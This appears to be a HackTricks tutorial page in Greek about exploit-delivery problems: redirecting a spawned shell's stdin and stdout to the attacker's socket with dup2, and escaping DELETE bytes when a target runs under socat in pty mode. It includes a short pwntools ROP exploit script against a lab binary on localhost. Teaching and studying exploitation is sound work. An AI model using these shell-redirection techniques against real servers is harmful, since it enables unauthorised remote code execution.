Common Exploiting Problems

Υποστήριξη HackTricks

FDs σε Απομακρυσμένη Εκμετάλλευση

Όταν στέλνετε μια εκμετάλλευση σε έναν απομακρυσμένο διακομιστή που καλεί system('/bin/sh') για παράδειγμα, αυτό θα εκτελείται στη διαδικασία του διακομιστή φυσικά, και το /bin/sh θα περιμένει είσοδο από stdin (FD: 0) και θα εκτυπώνει την έξοδο σε stdout και stderr (FDs 1 και 2). Έτσι, ο επιτιθέμενος δεν θα μπορεί να αλληλεπιδράσει με το shell.

Ένας τρόπος για να το διορθώσετε είναι να υποθέσετε ότι όταν ο διακομιστής ξεκίνησε δημιούργησε το FD αριθμό 3 (για ακρόαση) και ότι στη συνέχεια, η σύνδεσή σας θα είναι στο FD αριθμό 4. Επομένως, είναι δυνατόν να χρησιμοποιήσετε την syscall dup2 για να διπλασιάσετε το stdin (FD 0) και το stdout (FD 1) στο FD 4 (αυτό της σύνδεσης του επιτιθέμενου) έτσι ώστε να καταστεί εφικτή η επαφή με το shell μόλις εκτελείται.

Παράδειγμα εκμετάλλευσης από εδώ:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

Σημειώστε ότι το socat ήδη μεταφέρει stdin και stdout στο socket. Ωστόσο, η λειτουργία pty περιλαμβάνει χαρακτήρες DELETE. Έτσι, αν στείλετε ένα \x7f ( DELETE -) θα διαγράψει τον προηγούμενο χαρακτήρα της εκμετάλλευσής σας.

Για να παρακαμφθεί αυτό, το χαρακτήρα διαφυγής \x16 πρέπει να προστεθεί πριν από οποιοδήποτε \x7f σταλεί.

Εδώ μπορείτε να βρείτε ένα παράδειγμα αυτής της συμπεριφοράς.

Support HackTricks

Last updated